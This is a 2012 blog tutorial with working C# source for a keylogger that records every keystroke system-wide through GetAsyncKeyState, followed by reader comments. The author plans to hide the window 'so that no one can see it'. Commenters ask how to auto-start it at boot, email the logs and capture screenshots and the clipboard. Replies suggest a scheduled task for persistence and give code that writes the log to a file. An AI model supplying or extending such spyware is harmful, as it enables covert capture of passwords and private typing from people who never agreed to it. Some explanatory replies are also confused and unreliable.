About Me

Sunday, May 6, 2012

Create a Console key logger using C#

Hi last few days I was trying to capture key strokes using C#, but could not find any way to capture keystrokes while the Console application was not focused. Apparently I found some C++ approach here . Oh that was so creepy to me since I’m more familiar with C#. I begin code myself to implement a key logger using C#. So here it is.
Start with adding new console project to your solution (I used Framework version 3.0). To make this easy I added reference to System.Windows.Froms where Keys enum resides.

And also need to add a DllImport to User32.dll which will help to know the current state of a particular key. So here is the Code segment.
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
 
namespace KeyLogger
{
    class Program
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        static void Main(string[] args)
        {
            StartLogging();
        }
 
        static void StartLogging()
        {
            while (true)
            {
                //sleeping for while, this will reduce load on cpu
                Thread.Sleep(10);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                        Console.WriteLine((Keys)i);
                        break;
                    }
                }
            }
        }
    }
}

Testing with notepad

That’s it for now J I’ll post how to add few another enhancements like hiding console window so that no one can see it and how to log/retrieve key strokes without affecting much performance of the computer.

22 comments:

  1. I'm using Microsoft Visual C# 2010 Express. I copied the code and added the corresponding references. The VC# says everything is ok, but when I open the program, it just doesn't do nothing. It just stays like waiting for you to type something.
    What you think is the problem?

    ReplyDelete
  2. Update:
    Well, when I removed the "break;", the program felt like started working. But, it dowsn't get all keys it misses some keys. Also, it best work with "Thread.Sleep(100);" and above, instead of 10. If I use lower values, the program mostly doesn't works.

    ReplyDelete
    Replies
    1. Hi Thiago, Thanks for the comment I think problem is with the implementation of the program. It checks all key states every 10 milliseconds time (that's what the for loop does). And the break is for once found a pressed key state for a particular key it ignores rest for that 10 millisecond. Try reducing Thread.sleep to 1 might work.

      Delete
    2. Reducing Thread.Sleep to 1 didn't work. It just stay like nothing was happening. At 1000 ms, it looks to get all keys, but they're mixed. I really can't understand what's wrong here. The code looks to be pretty right. Also, I'm pretty sure my code is exactly as yours and all .NET runtimes are installed.

      Delete
  3. Incredibly awesome, what I'm little confused about is, if(keystate==1||-32767), what does that mean?

    ReplyDelete
    Replies
    1. Hi Bitpocketer, this is how it tracks whether key pressed or not;

      KeyState == -32767 means, the key is down (most significant bit is set), and
      KeyState == 1 means (least significant bit is set), the key was pressed after the previous call to GetAsyncKeyState. for further explanation please refer this MSDN article

      Delete
  4. Works very well for me. But it will be awesome if we get to know how to start this program when operating system is loading and how to hide.

    ReplyDelete
    Replies
    1. HI julieboolie,
      To automatically load : There are couple of ways, but the easiest way is adding a scheduled task to particular machine - this can be done grammatically as well. To Hide : Part 2 shows how to hide the window.

      Delete
  5. it's working fine with .net frame work 4.5 and above but doesnt work with framework 4.0 and below

    ReplyDelete
  6. where is the text file saved?

    ReplyDelete
    Replies
    1. In this example the text is not saved to a file. Instead, the text information is stored in RAM as a Weak Reference until the executable closes. Once the program closes, the text information is freed from memory. In another example the author explains how to email the logged information. You could also use a SteamWriter to write the log to a local text file:

      string log = "";
      // Export the contents of the log string to a local text file
      System.IO.File.WriteAllLines(@"C:\Users\Public\TestFolder\keylog.txt", log);

      Delete
  7. Hi, Would you please tell me the significance of 255 used in the for loop condition. Is it some number related to keyboard?
    Thank you

    ReplyDelete
    Replies
    1. The 255 in the for loop is used to identify which key is being pressed. Keys are assigned unique integer values between 0 and 255. Essentially, what the for-loop is saying in simpler terms is:

      "Every 10 milliseconds the program will individually check keys 0 through 255 to see if that key is being pressed. If so, the keyState for that key will be either 0 or -32767. When the keyState of a key identifies a key as being pressed, a Key object is instantiated for that integer index and the value of that object is written to a line."

      The Key object is instantiated by the identifier for that key in the (Key)i part of the code.

      Delete
    2. Thanks for your explanation Jacob.

      Delete
  8. how to get capital and small letters in this program???

    ReplyDelete
  9. hey friend i want some more features code like sending logfile via email,screenshots ,clipboard etc.. Please help me because it's my BE(Bachelor of Engineering ) project. So friend please help me...I really need your help....Can u please send me sourcecode ... My email id is sweetpriyasingh1994@gmail.com

    ReplyDelete
  10. How to save all ram info into a text file??

    ReplyDelete
  11. Console.WriteLine((Keys)i); it isn't working .. why ?

    ReplyDelete
    Replies
    1. I added reference to System.Windows.Froms

      Delete